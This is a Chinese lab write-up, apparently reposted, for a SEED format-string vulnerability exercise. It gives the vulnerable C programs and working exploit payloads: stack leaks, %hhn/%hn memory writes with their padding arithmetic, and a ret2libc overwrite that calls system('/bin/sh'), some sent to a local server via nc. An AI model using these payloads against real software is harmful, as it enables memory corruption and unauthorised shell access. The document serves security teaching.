[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

这篇具有很好参考价值的文章主要介绍了[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.软件安全:格式化字符串漏洞实验

1.1 实验目的

  • 在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。
  • C语言中的printf()函数用于根据格式打印出字符串,使用由printf()函数的%字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于printf()函数;其他函数,例如sprintf()、fprintf() 和scanf(),也使用格式字符串。 某些程序允许用户以格式字符串提供全部或部分内容
  • 本实验的目的是利用格式化字符串漏洞,实施以下攻击
    1. 程序崩溃
    2. 读取程序内存
    3. 修改程序内存
    4. 恶意代码注入和执行。

1.2 实验环境

Ubuntu 16.04 LTS 32 位(SEED 1604)的 VMware 虚拟机

1.3 实验内容1 prog1

(1)改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799

(2) 改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef

​ a) 后半部分数据小于前半部分数据;

​ b) 为避免print大量字符,可以将数据分成4个部分分别写入(使用 %hhn)

注意:以上任务,需要关闭 ASLR

#include <stdio.h>
void fmtstr()
{
    char input[100];
    int var = 0x11223344;   
    
    /* print out information for experiment purpose */
    printf("Target address: %x\n", (unsigned) &var);
    printf("Data at target address: 0x%x\n", var);
    
    printf("Please enter a string: ");
    fgets(input, sizeof(input)-1, stdin);
    
    printf(input);
    
    printf("Data at target address: 0x%x\n",var);
}
void main() { fmtstr(); }

1.3.1 环境配置

关闭ASLR sudo sysctl -w kernel.randomize_va_space=0

开启栈可执行 gcc -z execstack -o prog1 prog1.c

1.3.2 程序崩溃

输入:%s

解释:访问的字符串地址超出当前堆栈段时,非法访问导致崩溃。
[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.3.3 读取程序内存

输入:%08x | %08x | %08x | %08x | %08x | %08x

解释:由于只有format串,所以从堆栈中选择参数打印内容,进而泄露内存信息。
[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.3.4 修改程序内存1

改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0x66887799;

输入:

$ echo -e "\xb7\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb6\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.42x%hhn%.17x%hhn%.17x%hhn%.17x%hhn" > input
$ ./prog1 < input

解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

66h - 60 = 42

77h - 66h= 17

88h - 77h= 17

99h - 88h= 17

%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小排好该填的地址

比如填写的顺序是66 77 88 99,其对应的地址是\xb7 \xb5 \xb6 \xb4

之后依次计算字符长度即可。
[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.3.5 修改程序内存2

改变程序的内存数据:将变量 var 的值,从 0x11223344 变成 0xdeadbeef;

输入:

$ echo -e "\xb6\xec\xff\xbf@@@@\xb5\xec\xff\xbf@@@@\xb7\xec\xff\xbf@@@@\xb4\xec\xff\xbf%.8x%.8x%.8x%.8x%.113x%hhn%.17x%hhn%.32x%hhn%.17x%hhn" > input
$ ./prog1 < input

解释:4 * 4 + 4 * 3 + 4 * 8 = 28 + 32 = 60

adh - 60 = 113

beh - adh = 17

deh - beh = 32

efh - deh = 17

同上理%hhn是以字节修改的方法,所以我们在前方地址字符串上先按数字大小拍好该填的地址即可

\xb6 \xb5 \xb7 \xb4

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.4 实验内容2 prog2

(1)开启 Stack Guard 保护,并开启栈不可执行保护,通过 ret2lib 进行利用,获得shell (可以通过调用 system(“/bin/sh”))

(2)尝试设置 setuid root,观察是否可以获得root shell

(3)提示:需要查找 ret2lic 中的 system 函数和“/bin/sh”地址:

#include <stdio.h>

void fmtstr(char* str)
{
    unsigned int *framep;
    unsigned int *ret;
    //copy ebp into framep
    asm("movl %%ebp, %0" : "=r" (framep));
    ret = framep + 1;
   
    /* print out information for experiment purpose */
    printf("The address of the input array: 0x%.8x\n", (unsigned)str);
    printf("The value of the frame pointer: 0x%.8x\n", (unsigned)framep);
    printf("The value of the return address(before): 0x%.8x\n", *ret);

    printf(str); 

    printf("\nThe value of the return address(after): 0x%.8x\n", *ret);
}

int main() 
{ 
    FILE *badfile;    
    char str[200];

    badfile = fopen("badfile", "rb");
    fread(str, sizeof(char), 200, badfile);
    fmtstr(str);
    return 1; 
}

1.4.1 环境配置

开启stack Guard但栈不可执行 $ gcc -fstack-protector -z noexecstack -o prog2 prog2.c

1.4.2 通过libc的基地址和内部函数的相对偏移获得ret2libc的函数地址

寻找system和bin/sh相对lib偏移

$ ldd prog2

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

libc lib的path: /lib/i386-linux-gnu/libc.so.6

基址:0xb7d8e000

$ readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"

$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string /bin/sh

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

system()函数偏移:0x0003ada0

字符串"/bin/sh"偏移:0x0015b82b

计算在prog2中system和bin/sh地址
$ gdb prog2
gdb-peda$ start
gdb-peda$ vmmap

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

system()函数偏移:0x0003ada0 + 0xb7d6a000 = 0xb7da4da0

字符串"/bin/sh"偏移:0x0015b82b + 0xb7d6a000 = 0xb7ec582b

寻找ret和system参数位置
$ touch badfile
$ ./prog2

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

帧指针内value = ebp

故ret = ebp + 4h = 0xbfffec4c

而通过ret调用system()时是模拟已经将参数压栈后的结果,故参数位置是 ret + 4 + 4 = 0xbfffec54

构造shellcode
$ echo "AAAA|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|%08x|" > badfile
$ ./prog2

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

字符串首位在16个字后

$ echo -e "\x4c\xec\xff\xbf@@@@\x54\xec\xff\xbf@@@@\x4e\xec\xff\xbf@@@@\x56\xec\xff\xbf%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.19724x%hn%.2699x%hn%.24495x%hn%.18x%hn" > badfile
$ ./prog2

解释:4 * 4 + 4 * 3 + 15 * 8 = 16 + 12 + 120 = 148

4da0h - 148 = 19724

582bh - 4da0h = 2699

b7dah - 582bh = 24495

b7ech - b7dah = 18

\x??\xec\xff\xbf

4da0 582b b7da b7ec
\x4c \x54 \x4e \x56

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.4.3 设置setuid root

$ sudo chmod u+s prog2

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

$ ./prog2

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

无法成功不能获得

1.5 实验内容3 prog3

(1) 打印栈上数据;

(2) 获得 heap 上的 secret 变量的值;

(3) 修改 target 变量成 0xc0ffee00

(4) 上述步骤在首先在关闭ASLR的情况下进行,进一步,可尝试开启 ASLR,观察程序内存地址的变化

format.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 10 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 10
#endif


#if __x86_64__
  unsigned long target = 0x1122334455667788;
#else
  unsigned int  target = 0x11223344;
#endif 

char *secret = "A secret message\n";

void dummy_function(char *str);

void myprintf(char *msg)
{
#if __x86_64__
    unsigned long int *framep;
    // Save the rbp value into framep
    asm("movq %%rbp, %0" : "=r" (framep));
    printf("Frame Pointer (inside myprintf):      0x%.16lx\n", (unsigned long) framep);
    printf("The target variable's value (before): 0x%.16lx\n", target);
#else
    unsigned int *framep;
    // Save the ebp value into framep
    asm("movl %%ebp, %0" : "=r"(framep));
    printf("Frame Pointer (inside myprintf):      0x%.8x\n", (unsigned int) framep);
    printf("The target variable's value (before): 0x%.8x\n",   target);
#endif

    // This line has a format-string vulnerability
    printf(msg);

#if __x86_64__
    printf("The target variable's value (after):  0x%.16lx\n", target);
#else
    printf("The target variable's value (after):  0x%.8x\n",   target);
#endif

}


int main(int argc, char **argv)
{
    char buf[1500];


#if __x86_64__
    printf("The input buffer's address:    0x%.16lx\n", (unsigned long) buf);
    printf("The secret message's address:  0x%.16lx\n", (unsigned long) secret);
    printf("The target variable's address: 0x%.16lx\n", (unsigned long) &target);
#else
    printf("The input buffer's address:    0x%.8x\n",   (unsigned int)  buf);
    printf("The secret message's address:  0x%.8x\n",   (unsigned int)  secret);
    printf("The target variable's address: 0x%.8x\n",   (unsigned int)  &target);
#endif

    printf("Waiting for user input ......\n"); 
    int length = fread(buf, sizeof(char), 1500, stdin);
    printf("Received %d bytes.\n", length);

    dummy_function(buf);
    printf("(^_^)(^_^)  Returned properly (^_^)(^_^)\n");

    return 1;
}

// This function is used to insert a stack frame between main and myprintf.
// The size of the frame can be adjusted at the compilation time. 
// The function itself does not do anything.
void dummy_function(char *str)
{
    char dummy_buffer[BUF_SIZE];
    memset(dummy_buffer, 0, BUF_SIZE);

    myprintf(str);
}

server.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>

#define PROGRAM "format"
#define PORT    9090

int socket_bind(int port);
int server_accept(int listen_fd, struct sockaddr_in *client);
char **generate_random_env();

void main()
{
    int listen_fd;
    struct sockaddr_in  client;

    // Generate a random number
    srand (time(NULL));
    int random_n = rand()%2000; 
   
    // handle signal from child processes
    signal(SIGCHLD, SIG_IGN);

    listen_fd = socket_bind(PORT);
    while (1){
	int socket_fd = server_accept(listen_fd, &client);

        if (socket_fd < 0) {
	    perror("Accept failed");
            exit(EXIT_FAILURE);
        }

	int pid = fork();
        if (pid == 0) {
            // Redirect STDIN to this connection, so it can take input from user
            dup2(socket_fd, STDIN_FILENO);

	    /* Uncomment the following if we want to send the output back to user.
	     * This is useful for remote attacks. 
            int output_fd = socket(AF_INET, SOCK_STREAM, 0);
            client.sin_port = htons(9091);
	    if (!connect(output_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in))){
               // If the connection is made, redirect the STDOUT to this connection
               dup2(output_fd, STDOUT_FILENO);
	    }
	    */ 

	    // Invoke the program 
	    fprintf(stderr, "Starting %s\n", PROGRAM);
            //execl(PROGRAM, PROGRAM, (char *)NULL);
	    // Using the following to pass an empty environment variable array
            //execle(PROGRAM, PROGRAM, (char *)NULL, NULL);
	    
	    // Using the following to pass a randomly generated environment varraible array.
	    // This is useful to slight randomize the stack's starting point.
            execle(PROGRAM, PROGRAM, (char *)NULL, generate_random_env(random_n));
        }
        else {
            close(socket_fd);
	}
    } 

    close(listen_fd);
}


int socket_bind(int port)
{
    int listen_fd;
    int opt = 1;
    struct sockaddr_in server;

    if ((listen_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
    {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
    {
        perror("setsockopt failed");
        exit(EXIT_FAILURE);
    }

    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(port);

    if (bind(listen_fd, (struct sockaddr *) &server, sizeof(server)) < 0)
    {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    if (listen(listen_fd, 3) < 0)
    {
        perror("listen failed");
        exit(EXIT_FAILURE);
    }

    return listen_fd;
}

int server_accept(int listen_fd, struct sockaddr_in *client)
{
    int c = sizeof(struct sockaddr_in);

    int socket_fd = accept(listen_fd, (struct sockaddr *)client, (socklen_t *)&c);
    char *ipAddr = inet_ntoa(client->sin_addr);
    printf("Got a connection from %s\n", ipAddr);
    return socket_fd;
}

// Generate environment variables. The length of the environment affects 
// the stack location. This is used to add some randomness to the lab.
char **generate_random_env(int length)
{
    const char *name = "randomstring=";
    char **env;

    env = malloc(2*sizeof(char *));

    env[0] = (char *) malloc((length + strlen(name))*sizeof(char));
    strcpy(env[0], name);
    memset(env[0] + strlen(name), 'A', length -1);
    env[0][length + strlen(name) - 1] = 0;
    env[1] = 0;
    return env;
}

1.5.1 环境配置

关闭ASLRsudo sysctl -w kernel.randomize_va_space=0

查看Makefile(已修改)

FLAGS    = -z execstack 
TARGET   = server format

L = 10

all: $(TARGET)

server: server.c
	gcc -o server server.c

format: format.c
	gcc -DBUF_SIZE=$(L) $(FLAGS) -o $@ format.c

clean:
	rm -f badfile $(TARGET)

$ make

1.5.2 打印栈上数据

$ echo "AAAA|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x" > badfile
$ cat badfile | nc 127.0.0.1 9090

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

secret addr: 0x08048740

tartget addr: 0x0804a02c

1.5.3 获得 heap 上的 secret 变量的值

$ echo -e "\x40\x87\x04\x08|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%.8x|%s" > badfile
$ cat badfile | nc 127.0.0.1 9090

上题中41414141处在第40个字处开始,构造相应长度的badfile即可

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.5.4 修改 target 变量成 0xc0ffee00

$ echo -e "\x2e\xa0\x04\x08@@@@\x2c\xa0\x04\x08%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.49091x%hn%.11521x%hn" > badfile
$ cat badfile | nc 127.0.0.1 9090

解释:4 * 2 + 4 + 8 * 38 = 316

c0ffh - 316 = 49091

ee00h - c0ffh = 11521

前文中实现方式一致

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验

1.5.5 开启ASLR的情况

sudo sysctl -w kernel.randomize_va_space=1

获得同样的结果

[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验文章来源地址https://www.toymoban.com/news/detail-464466.html

到了这里,关于[ 信息系统安全实验1 ] 软件安全:格式化字符串漏洞实验的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 浅谈非栈上格式化字符串

    这里先浅分析修改返回地址的两种打法,分别是\\\"诸葛连弩\\\"和”四马分肥“ 本文例题 以陕西省赛easy_printf为主 简单看一看程序 需要先过一个判断然后进入vuln 进入后 有一个13次的循环 可以让我们操作 第一步 肯定要先leak出栈地址 程序基地址和libc基地址 第二步 修改ret地址

    2024年02月14日
    浏览(45)
  • 格式化字符串你都懂了吗

    今天跟大家聊聊字 符串的格式化 这部分内容。乍一听“ 格式化 ”这三个字,有的初学者可能会懵:难道这是要清空字符串的节奏? 其实不是的,恰恰相反,格式化字符串是为了让字符串变的更美观、更灵活。接下来就给大家详细介绍格式化字符串的概念以及具体用法。 格

    2024年02月04日
    浏览(44)
  • Python字符串格式化 (%操作符)

    在许多编程语言中都包含有格式化字符串的功能,比如C和Fortran语言中的格式化输入输出。在Python中内置有对字符串进行格式化的操作符是\\\"%\\\"。 模板 格式化字符串时,Python使用一个字符串作为模板。模板中有格式符,这些格式符为真实值预留位置,并说明真实数值应该呈现的

    2024年02月14日
    浏览(42)
  • Python 用户输入和字符串格式化指南

    Python 允许用户输入数据。这意味着我们可以向用户询问输入。在 Python 3.6 中,使用 input() 方法来获取用户输入。在 Python 2.7 中,使用 raw_input() 方法来获取用户输入。以下示例要求用户输入用户名,并在输入用户名后将其打印在屏幕上: Python 3.6: Python 2.7: 为了确保字符串按预

    2024年02月05日
    浏览(67)
  • 格式化字符串走过的坑 pwn109

    格式化字符串走过的坑 pwn109 今天做的一道题有一个坑我调试半天终于打通了,格式化字符串的坑,确实不少,东西也比较多容易忘记,怎么说呢,功夫在平时,经验少了 老规矩先看一下保护 Full RELRO意味着got不能修改也就是不能通过格式化字符串漏洞来改got表,但是nx保护关

    2024年04月08日
    浏览(49)
  • Java工具类——json字符串格式化处理

    在我们拿到一团未经格式化的json字符串时,非常不方便查看,比如这样 因此随手写了个工具类用来格式化json。注意,原json字符串必须语法无误,并且不包含换行、空格、缩进等,否则会保留下来。 ok废话不多说上代码 运行后效果

    2024年01月17日
    浏览(46)
  • Godot 4 源码分析 - 增加格式化字符串功能

    Godot 4的主要字符串类型为String,已经设计得比较完善了,但有一个问题,格式化这块没怎么考虑。 String中有一个format函数,但这个函数只有两个参数,这咋用? 查找使用例子,都是这种效果 一看就懵。哪里有之前用的带%s %d...之类的格式化用得舒服。 动手实现一个 提供s

    2024年02月14日
    浏览(37)
  • Pandas中的字符串和时间转换与格式化

    Pandas 提供了若干个函数来格式化时间。 其中,最常用的是 to_datetime() 函数。 可以使用 to_datetime() 函数将一个字符串解析为时间,并指定字符串的格式。例如: 输出: 还可以使用 strftime() 函数将时间格式化为字符串。例如: 输出: 如果想要格式化某一列中的时间,可以使用

    2024年02月04日
    浏览(38)
  • Python中格式化字符串输出的4种方式

    Python格式化字符串的4中方式 一、%号 二、str.format(args) 三、f-Strings 四、标准库模板 五、总结四种方式的应用场景’ 一、%号占位符 这是一种引入最早的一种,也是比较容易理解的一种方式.使用方式为: 1、格式化字符串中变化的部分使用占位符 2、变量以元组形式提供 3、变

    2024年02月06日
    浏览(45)
  • 【每日挠头算法题(5)】重新格式化字符串|压缩字符串

    点我直达~ 1.遍历字符串,将数字字符和字母字符分别放在不同的字符串 2.如果|字母字符数量 - 数字字符数量| 1 ,则无法实现格式化,返回\\\"\\\" 3.如果不是2.中的情况,则偶数为字符必须放数量多的字符串对应的字符(下标从0开始)。 将数量多的字符串对应的字符和数量少的字

    2024年02月08日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包